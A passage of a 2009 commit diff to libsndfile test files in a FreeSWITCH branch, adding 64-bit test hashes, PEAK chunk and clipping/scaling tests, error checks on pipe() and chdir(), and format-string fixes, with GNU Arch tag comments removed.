+	pcm_test_double	("le-double.raw", SF_ENDIAN_LITTLE	| SF_FORMAT_RAW | SF_FORMAT_DOUBLE, 0xc682726f958f669cLL, SF_FALSE) ;
+	pcm_test_double	("be-double.raw", SF_ENDIAN_BIG	| SF_FORMAT_RAW | SF_FORMAT_DOUBLE, 0xd9a3583f8ee51164LL, SF_FALSE) ;
 
 	puts ("Test IEEE replacement code.") ;
 
-	pcm_test_float	("le-float.raw", SF_ENDIAN_LITTLE	| SF_FORMAT_RAW | SF_FORMAT_FLOAT, 0xbb836603, SF_TRUE) ;
-	pcm_test_float	("be-float.raw", SF_ENDIAN_BIG		| SF_FORMAT_RAW | SF_FORMAT_FLOAT, 0x903cd8fc, SF_TRUE) ;
+	pcm_test_float	("le-float.raw", SF_ENDIAN_LITTLE	| SF_FORMAT_RAW | SF_FORMAT_FLOAT, 0x3c2ad04f7554267aLL, SF_TRUE) ;
+	pcm_test_float	("be-float.raw", SF_ENDIAN_BIG		| SF_FORMAT_RAW | SF_FORMAT_FLOAT, 0x074de3e248fa9186LL, SF_TRUE) ;
 
-	pcm_test_double	("le-double.raw", SF_ENDIAN_LITTLE	| SF_FORMAT_RAW | SF_FORMAT_DOUBLE, 0xbf84448e, SF_TRUE) ;
-	pcm_test_double	("be-double.raw", SF_ENDIAN_BIG	| SF_FORMAT_RAW | SF_FORMAT_DOUBLE, 0xaf3d9fb5, SF_TRUE) ;
+	pcm_test_double	("le-double.raw", SF_ENDIAN_LITTLE	| SF_FORMAT_RAW | SF_FORMAT_DOUBLE, 0xc682726f958f669cLL, SF_TRUE) ;
+	pcm_test_double	("be-double.raw", SF_ENDIAN_BIG	| SF_FORMAT_RAW | SF_FORMAT_DOUBLE, 0xd9a3583f8ee51164LL, SF_TRUE) ;
 	/* Lite remove end */
 
 	return 0 ;
@@ -126,7 +126,7 @@
 
 [+ FOR data_type
 +]static void
-pcm_test_[+ (get "name") +] (const char *filename, int filetype, int hash)
+pcm_test_[+ (get "name") +] (const char *filename, int filetype, uint64_t hash)
 {	SNDFILE		*file ;
 	SF_INFO		sfinfo ;
 	int			k, items, zero_count ;
@@ -399,7 +399,7 @@
 */
 
 static void
-pcm_test_float (const char *filename, int filetype, int hash, int replace_float)
+pcm_test_float (const char *filename, int filetype, uint64_t hash, int replace_float)
 {	SNDFILE			*file ;
 	SF_INFO			sfinfo ;
 	int				k, items, frames ;
@@ -653,7 +653,7 @@
 } /* pcm_test_float */
 
 static void
-pcm_test_double (const char *filename, int	filetype, int hash, int replace_float)
+pcm_test_double (const char *filename, int	filetype, uint64_t hash, int replace_float)
 {	SNDFILE			*file ;
 	SF_INFO			sfinfo ;
 	int				k, items, frames ;
@@ -928,13 +928,3 @@
 
 /*==============================================================================
 */
-
-[+ COMMENT
-
- Do not edit or modify anything in this comment block.
- The following line is a file identity tag for the GNU Arch 
- revision control system.
-
- arch-tag: cad1443b-99d9-414e-883f-178817600d40
-
-+]

Modified: freeswitch/branches/seven/libs/libsndfile/tests/peak_chunk_test.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/peak_chunk_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/peak_chunk_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2001-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2001-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -36,6 +36,7 @@
 
 
 static	void	test_float_peak	(const char *filename, int filetype) ;
+static	void	read_write_peak_test	(const char *filename, int filetype) ;
 
 static void		check_logged_peaks (char *buffer) ;
 
@@ -59,17 +60,22 @@
 		exit (1) ;
 		} ;
 
-	do_all=!strcmp (argv [1], "all") ;
+	do_all = ! strcmp (argv [1], "all") ;
 
 	if (do_all || ! strcmp (argv [1], "wav"))
 	{	test_float_peak ("peak_float.wav", SF_FORMAT_WAV | SF_FORMAT_FLOAT) ;
 		test_float_peak ("peak_float.wavex", SF_FORMAT_WAVEX | SF_FORMAT_FLOAT) ;
 		test_float_peak ("peak_float.rifx", SF_ENDIAN_BIG | SF_FORMAT_WAV | SF_FORMAT_FLOAT) ;
+
+		read_write_peak_test ("rw_peak.wav", SF_FORMAT_WAV | SF_FORMAT_FLOAT) ;
+		read_write_peak_test ("rw_peak.wavex", SF_FORMAT_WAVEX | SF_FORMAT_FLOAT) ;
 		test_count++ ;
 		} ;
 
 	if (do_all || ! strcmp (argv [1], "aiff"))
 	{	test_float_peak	("peak_float.aiff", SF_FORMAT_AIFF | SF_FORMAT_FLOAT) ;
+
+		read_write_peak_test ("rw_peak.aiff", SF_FORMAT_AIFF | SF_FORMAT_FLOAT) ;
 		test_count++ ;
 		} ;
 
@@ -95,6 +101,7 @@
 
 	print_test_name ("test_float_peak", filename) ;
 
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
 	sfinfo.samplerate	= 44100 ;
 	sfinfo.format		= filetype ;
 	sfinfo.channels		= 4 ;
@@ -267,12 +274,12 @@
 			} ;
 		if (position == 0)
 		{	printf ("\n\nLine %d: peak position for channel %d should not be at offset 0.\n", __LINE__, chan) ;
-			printf (buffer) ;
+			printf ("%s", buffer) ;
 			exit (1) ;
 			} ;
 		if (chan != k || fabs ((position) * 0.01 - value) > 1e-6)
 		{	printf ("\n\nLine %d: Error : peak value incorrect!\n", __LINE__) ;
-			printf (buffer) ;
+			printf ("%s", buffer) ;
 			printf ("\n\nLine %d: %d %f %f\n", __LINE__, chan, position * 0.01, value) ;
 			exit (1) ;
 			} ;
@@ -280,10 +287,62 @@
 		} ;
 
 } /* check_logged_peaks */
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: f10ca506-5808-4393-9d58-e3ec201fb7ee
-*/
+
+static	void
+read_write_peak_test (const char *filename, int filetype)
+{	SNDFILE	*file ;
+    SF_INFO	sfinfo ;
+
+    double   small_data [10] ;
+    double   max_peak = 0.0 ;
+    unsigned k ;
+
+	print_test_name (__func__, filename) ;
+
+    for (k = 0 ; k < ARRAY_LEN (small_data) ; k ++)
+        small_data [k] = 0.1 ;
+
+    sfinfo.samplerate	= 44100 ;
+    sfinfo.channels		= 2 ;
+    sfinfo.format		= filetype ;
+    sfinfo.frames		= 0 ;
+
+	/* Open the file, add peak chunk and write samples with value 0.1. */
+    file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_FALSE, __LINE__) ;
+
+    sf_command (file, SFC_SET_ADD_PEAK_CHUNK, NULL, SF_TRUE) ;
+
+	test_write_double_or_die (file, 0, small_data, ARRAY_LEN (small_data), __LINE__) ;
+
+    sf_close (file) ;
+
+    /* Open the fiel RDWR, write sample valied 1.25. */
+    file = test_open_file_or_die (filename, SFM_RDWR, &sfinfo, SF_FALSE, __LINE__) ;
+
+    for (k = 0 ; k < ARRAY_LEN (small_data) ; k ++)
+        small_data [k] = 1.0 ;
+
+	test_write_double_or_die (file, 0, small_data, ARRAY_LEN (small_data), __LINE__) ;
+
+    sf_command (file, SFC_GET_SIGNAL_MAX, &max_peak, sizeof (max_peak)) ;
+
+    sf_close (file) ;
+
+    exit_if_true (max_peak < 0.1, "\n\nLine %d : max peak (%5.3f) should not be 0.1.\n\n", __LINE__, max_peak) ;
+
+    /* Open the file and test the values written to the PEAK chunk. */
+    file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_FALSE, __LINE__) ;
+
+	exit_if_true (sfinfo.channels * sfinfo.frames != 2 * ARRAY_LEN (small_data),
+			"Line %d : frame count is %ld, should be %d\n", __LINE__, SF_COUNT_TO_LONG (sfinfo.frames), 2 * ARRAY_LEN (small_data)) ;
+
+    sf_command (file, SFC_GET_SIGNAL_MAX, &max_peak, sizeof (double)) ;
+
+    sf_close (file) ;
+
+    exit_if_true (max_peak < 1.0, "\n\nLine %d : max peak (%5.3f) should be 1.0.\n\n", __LINE__, max_peak) ;
+
+	unlink (filename) ;
+	puts ("ok") ;
+} /* read_write_peak_test */
+

Modified: freeswitch/branches/seven/libs/libsndfile/tests/pipe_test.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/pipe_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/pipe_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2001-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2001-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -41,6 +41,7 @@
 #include <unistd.h>
 #endif
 
+#include <errno.h>
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <sys/wait.h>
@@ -94,7 +95,7 @@
 {	int k ;
 
 	if (file_exists ("libsndfile.spec.in"))
-		chdir ("tests") ;
+		exit_if_true (chdir ("tests") != 0, "\n    Error : chdir ('tests') failed.\n") ;
 
 	for (k = 0 ; read_only_types [k].format ; k++)
 		pipe_read_test (read_only_types [k].format, read_only_types [k].ext) ;
@@ -192,7 +193,7 @@
 	/*
 	** Create the pipe.
 	*/
-	pipe (pipefd) ;
+	exit_if_true (pipe (pipefd) != 0, "\n\n%s %d : pipe failed : %s\n", __func__, __LINE__, strerror (errno)) ;
 
 	/*
 	** Attach the write end of the pipe to be written to.
@@ -268,7 +269,7 @@
 	/*
 	** Create the pipe.
 	*/
-	pipe (pipefd) ;
+	exit_if_true (pipe (pipefd) != 0, "\n\n%s %d : pipe failed : %s\n", __func__, __LINE__, strerror (errno)) ;
 
 	/*
 	** Attach the write end of the pipe to be written to.
@@ -344,7 +345,7 @@
 	/*
 	** Create the pipe.
 	*/
-	pipe (pipefd) ;
+	exit_if_true (pipe (pipefd) != 0, "\n\n%s %d : pipe failed : %s\n", __func__, __LINE__, strerror (errno)) ;
 
 	/*
 	** Attach the write end of the pipe to be written to.
@@ -522,4 +523,3 @@
 
 #endif
 
-

Modified: freeswitch/branches/seven/libs/libsndfile/tests/pipe_test.def (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/pipe_test.def	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/pipe_test.def	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,11 +12,3 @@
 	type_name 	= double ;
 	};
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 5bbde7f4-71e4-4f3e-bdae-a1cb27cdf338
-*/
-

Modified: freeswitch/branches/seven/libs/libsndfile/tests/pipe_test.tpl (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/pipe_test.tpl	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/pipe_test.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 [+ AutoGen5 template c +]
 /*
-** Copyright (C) 2001-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2001-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -42,6 +42,7 @@
 #include <unistd.h>
 #endif
 
+#include <errno.h>
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <sys/wait.h>
@@ -95,7 +96,7 @@
 {	int k ;
 
 	if (file_exists ("libsndfile.spec.in"))
-		chdir ("tests") ;
+		exit_if_true (chdir ("tests") != 0, "\n    Error : chdir ('tests') failed.\n") ;
 
 	for (k = 0 ; read_only_types [k].format ; k++)
 		pipe_read_test (read_only_types [k].format, read_only_types [k].ext) ;
@@ -193,7 +194,7 @@
 	/*
 	** Create the pipe.
 	*/
-	pipe (pipefd) ;
+	exit_if_true (pipe (pipefd) != 0, "\n\n%s %d : pipe failed : %s\n", __func__, __LINE__, strerror (errno)) ;
 
 	/*
 	** Attach the write end of the pipe to be written to.
@@ -371,12 +372,3 @@
 
 #endif
 
-[+ COMMENT
-
- Do not edit or modify anything in this comment block.
- The arch-tag line is a file identity tag for the GNU Arch
- revision control system.
-
- arch-tag: 968ad8d5-e724-41fe-8209-fa1578569dfe
-
-+]

Modified: freeswitch/branches/seven/libs/libsndfile/tests/raw_test.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/raw_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/raw_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2002-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2002-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -186,10 +186,3 @@
 	puts ("ok") ;
 } /* bad_raw_test */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 3dccee22-b0bc-4a1f-966c-8ae96f0921ae
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/tests/scale_clip_test.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/scale_clip_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/scale_clip_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -54,9 +54,27 @@
 static void	dbl_scale_clip_test_08 (const char *filename, int filetype, float maxval) ;
 
 
+
+static void flt_short_clip_read_test (const char *filename, int filetype) ;
+static void flt_int_clip_read_test (const char *filename, int filetype) ;
+
+static void dbl_short_clip_read_test (const char *filename, int filetype) ;
+static void dbl_int_clip_read_test (const char *filename, int filetype) ;
+
+
+
+static void short_flt_scale_write_test (const char *filename, int filetype) ;
+static void short_dbl_scale_write_test (const char *filename, int filetype) ;
+
+static void int_flt_scale_write_test (const char *filename, int filetype) ;
+static void int_dbl_scale_write_test (const char *filename, int filetype) ;
+
+
 typedef union
 {	double	dbl [BUFFER_SIZE] ;
 	float	flt [BUFFER_SIZE] ;
+	int		i [BUFFER_SIZE] ;
+	short	s [BUFFER_SIZE] ;
 } BUFFER ;
 
 /* Data buffer. */
@@ -91,6 +109,16 @@
 	dbl_scale_clip_test_32 ("scale_clip_be32.au", SF_ENDIAN_BIG	| SF_FORMAT_AU | SF_FORMAT_PCM_32, 1.0 * 0x80000000) ;
 	dbl_scale_clip_test_32 ("scale_clip_le32.au", SF_ENDIAN_LITTLE	| SF_FORMAT_AU | SF_FORMAT_PCM_32, 1.0 * 0x80000000) ;
 
+	flt_short_clip_read_test	("flt_short.au"	, SF_ENDIAN_BIG		| SF_FORMAT_AU | SF_FORMAT_FLOAT) ;
+	flt_int_clip_read_test		("flt_int.au"	, SF_ENDIAN_LITTLE	| SF_FORMAT_AU | SF_FORMAT_FLOAT) ;
+	dbl_short_clip_read_test	("dbl_short.au"	, SF_ENDIAN_BIG		| SF_FORMAT_AU | SF_FORMAT_DOUBLE) ;
+	dbl_int_clip_read_test		("dbl_int.au"	, SF_ENDIAN_LITTLE	| SF_FORMAT_AU | SF_FORMAT_DOUBLE) ;
+
+	short_flt_scale_write_test	("short_flt.au"	, SF_ENDIAN_BIG		| SF_FORMAT_AU | SF_FORMAT_FLOAT) ;
+	int_flt_scale_write_test	("int_flt.au"	, SF_ENDIAN_LITTLE	| SF_FORMAT_AU | SF_FORMAT_FLOAT) ;
+	short_dbl_scale_write_test	("short_dbl.au"	, SF_ENDIAN_BIG		| SF_FORMAT_AU | SF_FORMAT_DOUBLE) ;
+	int_dbl_scale_write_test	("int_dbl.au"	, SF_ENDIAN_LITTLE	| SF_FORMAT_AU | SF_FORMAT_DOUBLE) ;
+
 	return 0 ;
 } /* main */
 
@@ -113,7 +141,7 @@
 	data_in = buffer_in.flt ;
 
 	for (k = 0 ; k < HALF_BUFFER_SIZE ; k++)
-	{	data_out [k] = SINE_AMP * sin (2 * M_PI * k / HALF_BUFFER_SIZE) ;
+	{	data_out [k] = 1.2 * sin (2 * M_PI * k / HALF_BUFFER_SIZE) ;
 		data_out [k + HALF_BUFFER_SIZE] = data_out [k] * maxval ;
 		} ;
 
@@ -243,7 +271,7 @@
 	data_in = buffer_in.flt ;
 
 	for (k = 0 ; k < HALF_BUFFER_SIZE ; k++)
-	{	data_out [k] = SINE_AMP * sin (2 * M_PI * k / HALF_BUFFER_SIZE) ;
+	{	data_out [k] = 1.2 * sin (2 * M_PI * k / HALF_BUFFER_SIZE) ;
 		data_out [k + HALF_BUFFER_SIZE] = data_out [k] * maxval ;
 		} ;
 
@@ -373,7 +401,7 @@
 	data_in = buffer_in.flt ;
 
 	for (k = 0 ; k < HALF_BUFFER_SIZE ; k++)
-	{	data_out [k] = SINE_AMP * sin (2 * M_PI * k / HALF_BUFFER_SIZE) ;
+	{	data_out [k] = 1.2 * sin (2 * M_PI * k / HALF_BUFFER_SIZE) ;
 		data_out [k + HALF_BUFFER_SIZE] = data_out [k] * maxval ;
 		} ;
 
@@ -503,7 +531,7 @@
 	data_in = buffer_in.flt ;
 
 	for (k = 0 ; k < HALF_BUFFER_SIZE ; k++)
-	{	data_out [k] = SINE_AMP * sin (2 * M_PI * k / HALF_BUFFER_SIZE) ;
+	{	data_out [k] = 1.2 * sin (2 * M_PI * k / HALF_BUFFER_SIZE) ;
 		data_out [k + HALF_BUFFER_SIZE] = data_out [k] * maxval ;
 		} ;
 
@@ -635,7 +663,7 @@
 	data_in = buffer_in.dbl ;
 
 	for (k = 0 ; k < HALF_BUFFER_SIZE ; k++)
-	{	data_out [k] = SINE_AMP * sin (2 * M_PI * k / HALF_BUFFER_SIZE) ;
+	{	data_out [k] = 1.2 * sin (2 * M_PI * k / HALF_BUFFER_SIZE) ;
 		data_out [k + HALF_BUFFER_SIZE] = data_out [k] * maxval ;
 		} ;
 
@@ -765,7 +793,7 @@
 	data_in = buffer_in.dbl ;
 
 	for (k = 0 ; k < HALF_BUFFER_SIZE ; k++)
-	{	data_out [k] = SINE_AMP * sin (2 * M_PI * k / HALF_BUFFER_SIZE) ;
+	{	data_out [k] = 1.2 * sin (2 * M_PI * k / HALF_BUFFER_SIZE) ;
 		data_out [k + HALF_BUFFER_SIZE] = data_out [k] * maxval ;
 		} ;
 
@@ -895,7 +923,7 @@
 	data_in = buffer_in.dbl ;
 
 	for (k = 0 ; k < HALF_BUFFER_SIZE ; k++)
-	{	data_out [k] = SINE_AMP * sin (2 * M_PI * k / HALF_BUFFER_SIZE) ;
+	{	data_out [k] = 1.2 * sin (2 * M_PI * k / HALF_BUFFER_SIZE) ;
 		data_out [k + HALF_BUFFER_SIZE] = data_out [k] * maxval ;
 		} ;
 
@@ -1025,7 +1053,7 @@
 	data_in = buffer_in.dbl ;
 
 	for (k = 0 ; k < HALF_BUFFER_SIZE ; k++)
-	{	data_out [k] = SINE_AMP * sin (2 * M_PI * k / HALF_BUFFER_SIZE) ;
+	{	data_out [k] = 1.2 * sin (2 * M_PI * k / HALF_BUFFER_SIZE) ;
 		data_out [k + HALF_BUFFER_SIZE] = data_out [k] * maxval ;
 		} ;
 
@@ -1144,4 +1172,682 @@
 
 
 
+/*==============================================================================
+*/
 
+
+static void flt_short_clip_read_test (const char *filename, int filetype)
+{	SNDFILE		*file ;
+	SF_INFO		sfinfo ;
+	float		*data_out ;
+	short			*data_in, max_value ;
+	int			k ;
+
+	print_test_name ("flt_short_clip_read_test", filename) ;
+
+	data_out = buffer_out.flt ;
+	data_in = buffer_in.s ;
+
+	for (k = 0 ; k < BUFFER_SIZE ; k++)
+		data_out [k] = 0.995 * sin (4 * M_PI * k / BUFFER_SIZE) ;
+	data_out [BUFFER_SIZE / 8] = 1.0 ;
+	data_out [3 * BUFFER_SIZE / 8] = -1.000000001 ;
+	data_out [5 * BUFFER_SIZE / 8] = 1.0 ;
+	data_out [7 * BUFFER_SIZE / 8] = -1.000000001 ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+	sfinfo.samplerate	= 44100 ;
+	sfinfo.frames		= 123456789 ; /* Wrong length. Library should correct this on sf_close. */
+	sfinfo.channels		= 1 ;
+	sfinfo.format		= filetype ;
+
+	/* Save unclipped data to the file. */
+	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_TRUE, __LINE__) ;
+	test_write_float_or_die (file, 0, data_out, BUFFER_SIZE, __LINE__) ;
+	sf_close (file) ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_TRUE, __LINE__) ;
+	sf_command (file, SFC_SET_SCALE_FLOAT_INT_READ, NULL, SF_TRUE) ;
+
+	sfinfo.format &= (SF_FORMAT_TYPEMASK | SF_FORMAT_SUBMASK) ;
+
+	if (sfinfo.format != (filetype & (SF_FORMAT_TYPEMASK | SF_FORMAT_SUBMASK)))
+	{	printf ("\n\nLine %d: Returned format incorrect (0x%08X => 0x%08X).\n\n", __LINE__, filetype, sfinfo.format) ;
+		exit (1) ;
+		} ;
+
+	if (sfinfo.frames != BUFFER_SIZE)
+	{	printf ("\n\nLine %d: Incorrect number of frames in file (%d => %ld).\n\n", __LINE__, BUFFER_SIZE, SF_COUNT_TO_LONG (sfinfo.frames)) ;
+		exit (1) ;
+		} ;
+
+	if (sfinfo.channels != 1)
+	{	printf ("\n\nLine %d: Incorrect number of channels in file.\n\n", __LINE__) ;
+		exit (1) ;
+		} ;
+
+	check_log_buffer_or_die (file, __LINE__) ;
+
+	sf_command (file, SFC_SET_CLIPPING, NULL, SF_TRUE) ;
+	test_read_short_or_die (file, 0, data_in, BUFFER_SIZE, __LINE__) ;
+	/*-sf_command (file, SFC_SET_NORM_FLOAT, NULL, SF_FALSE) ;-*/
+	sf_close (file) ;
+
+	/* Check the first half. */
+	max_value = 0 ;
+	for (k = 0 ; k < sfinfo.frames ; k++)
+	{	/* Check if data_out has different sign from data_in. */
+		if ((data_out [k] < 0.0 && data_in [k] > 0) || (data_out [k] > 0.0 && data_in [k] < 0))
+		{	printf ("\n\nLine %d: Data wrap around at index %d/%d  (%f -> %d).\n\n", __LINE__, k, BUFFER_SIZE, data_out [k], data_in [k]) ;
+			exit (1) ;
+			} ;
+		max_value = (max_value > abs (data_in [k])) ? max_value : abs (data_in [k]) ;
+		} ;
+
+	unlink (filename) ;
+	puts ("ok") ;
+} /* flt_short_clip_read_test */
+static void flt_int_clip_read_test (const char *filename, int filetype)
+{	SNDFILE		*file ;
+	SF_INFO		sfinfo ;
+	float		*data_out ;
+	int			*data_in, max_value ;
+	int			k ;
+
+	print_test_name ("flt_int_clip_read_test", filename) ;
+
+	data_out = buffer_out.flt ;
+	data_in = buffer_in.i ;
+
+	for (k = 0 ; k < BUFFER_SIZE ; k++)
+		data_out [k] = 0.995 * sin (4 * M_PI * k / BUFFER_SIZE) ;
+	data_out [BUFFER_SIZE / 8] = 1.0 ;
+	data_out [3 * BUFFER_SIZE / 8] = -1.000000001 ;
+	data_out [5 * BUFFER_SIZE / 8] = 1.0 ;
+	data_out [7 * BUFFER_SIZE / 8] = -1.000000001 ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+	sfinfo.samplerate	= 44100 ;
+	sfinfo.frames		= 123456789 ; /* Wrong length. Library should correct this on sf_close. */
+	sfinfo.channels		= 1 ;
+	sfinfo.format		= filetype ;
+
+	/* Save unclipped data to the file. */
+	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_TRUE, __LINE__) ;
+	test_write_float_or_die (file, 0, data_out, BUFFER_SIZE, __LINE__) ;
+	sf_close (file) ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_TRUE, __LINE__) ;
+	sf_command (file, SFC_SET_SCALE_FLOAT_INT_READ, NULL, SF_TRUE) ;
+
+	sfinfo.format &= (SF_FORMAT_TYPEMASK | SF_FORMAT_SUBMASK) ;
+
+	if (sfinfo.format != (filetype & (SF_FORMAT_TYPEMASK | SF_FORMAT_SUBMASK)))
+	{	printf ("\n\nLine %d: Returned format incorrect (0x%08X => 0x%08X).\n\n", __LINE__, filetype, sfinfo.format) ;
+		exit (1) ;
+		} ;
+
+	if (sfinfo.frames != BUFFER_SIZE)
+	{	printf ("\n\nLine %d: Incorrect number of frames in file (%d => %ld).\n\n", __LINE__, BUFFER_SIZE, SF_COUNT_TO_LONG (sfinfo.frames)) ;
+		exit (1) ;
+		} ;
+
+	if (sfinfo.channels != 1)
+	{	printf ("\n\nLine %d: Incorrect number of channels in file.\n\n", __LINE__) ;
+		exit (1) ;
+		} ;
+
+	check_log_buffer_or_die (file, __LINE__) ;
+
+	sf_command (file, SFC_SET_CLIPPING, NULL, SF_TRUE) ;
+	test_read_int_or_die (file, 0, data_in, BUFFER_SIZE, __LINE__) ;
+	/*-sf_command (file, SFC_SET_NORM_FLOAT, NULL, SF_FALSE) ;-*/
+	sf_close (file) ;
+
+	/* Check the first half. */
+	max_value = 0 ;
+	for (k = 0 ; k < sfinfo.frames ; k++)
+	{	/* Check if data_out has different sign from data_in. */
+		if ((data_out [k] < 0.0 && data_in [k] > 0) || (data_out [k] > 0.0 && data_in [k] < 0))
+		{	printf ("\n\nLine %d: Data wrap around at index %d/%d  (%f -> %d).\n\n", __LINE__, k, BUFFER_SIZE, data_out [k], data_in [k]) ;
+			exit (1) ;
+			} ;
+		max_value = (max_value > abs (data_in [k])) ? max_value : abs (data_in [k]) ;
+		} ;
+
+	unlink (filename) ;
+	puts ("ok") ;
+} /* flt_int_clip_read_test */
+
+static void dbl_short_clip_read_test (const char *filename, int filetype)
+{	SNDFILE		*file ;
+	SF_INFO		sfinfo ;
+	double		*data_out ;
+	short			*data_in, max_value ;
+	int			k ;
+
+	print_test_name ("dbl_short_clip_read_test", filename) ;
+
+	data_out = buffer_out.dbl ;
+	data_in = buffer_in.s ;
+
+	for (k = 0 ; k < BUFFER_SIZE ; k++)
+		data_out [k] = 0.995 * sin (4 * M_PI * k / BUFFER_SIZE) ;
+	data_out [BUFFER_SIZE / 8] = 1.0 ;
+	data_out [3 * BUFFER_SIZE / 8] = -1.000000001 ;
+	data_out [5 * BUFFER_SIZE / 8] = 1.0 ;
+	data_out [7 * BUFFER_SIZE / 8] = -1.000000001 ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+	sfinfo.samplerate	= 44100 ;
+	sfinfo.frames		= 123456789 ; /* Wrong length. Library should correct this on sf_close. */
+	sfinfo.channels		= 1 ;
+	sfinfo.format		= filetype ;
+
+	/* Save unclipped data to the file. */
+	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_TRUE, __LINE__) ;
+	test_write_double_or_die (file, 0, data_out, BUFFER_SIZE, __LINE__) ;
+	sf_close (file) ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_TRUE, __LINE__) ;
+	sf_command (file, SFC_SET_SCALE_FLOAT_INT_READ, NULL, SF_TRUE) ;
+
+	sfinfo.format &= (SF_FORMAT_TYPEMASK | SF_FORMAT_SUBMASK) ;
+
+	if (sfinfo.format != (filetype & (SF_FORMAT_TYPEMASK | SF_FORMAT_SUBMASK)))
+	{	printf ("\n\nLine %d: Returned format incorrect (0x%08X => 0x%08X).\n\n", __LINE__, filetype, sfinfo.format) ;
+		exit (1) ;
+		} ;
+
+	if (sfinfo.frames != BUFFER_SIZE)
+	{	printf ("\n\nLine %d: Incorrect number of frames in file (%d => %ld).\n\n", __LINE__, BUFFER_SIZE, SF_COUNT_TO_LONG (sfinfo.frames)) ;
+		exit (1) ;
+		} ;
+
+	if (sfinfo.channels != 1)
+	{	printf ("\n\nLine %d: Incorrect number of channels in file.\n\n", __LINE__) ;
+		exit (1) ;
+		} ;
+
+	check_log_buffer_or_die (file, __LINE__) ;
+
+	sf_command (file, SFC_SET_CLIPPING, NULL, SF_TRUE) ;
+	test_read_short_or_die (file, 0, data_in, BUFFER_SIZE, __LINE__) ;
+	/*-sf_command (file, SFC_SET_NORM_DOUBLE, NULL, SF_FALSE) ;-*/
+	sf_close (file) ;
+
+	/* Check the first half. */
+	max_value = 0 ;
+	for (k = 0 ; k < sfinfo.frames ; k++)
+	{	/* Check if data_out has different sign from data_in. */
+		if ((data_out [k] < 0.0 && data_in [k] > 0) || (data_out [k] > 0.0 && data_in [k] < 0))
+		{	printf ("\n\nLine %d: Data wrap around at index %d/%d  (%f -> %d).\n\n", __LINE__, k, BUFFER_SIZE, data_out [k], data_in [k]) ;
+			exit (1) ;
+			} ;
+		max_value = (max_value > abs (data_in [k])) ? max_value : abs (data_in [k]) ;
+		} ;
+
+	unlink (filename) ;
+	puts ("ok") ;
+} /* dbl_short_clip_read_test */
+static void dbl_int_clip_read_test (const char *filename, int filetype)
+{	SNDFILE		*file ;
+	SF_INFO		sfinfo ;
+	double		*data_out ;
+	int			*data_in, max_value ;
+	int			k ;
+
+	print_test_name ("dbl_int_clip_read_test", filename) ;
+
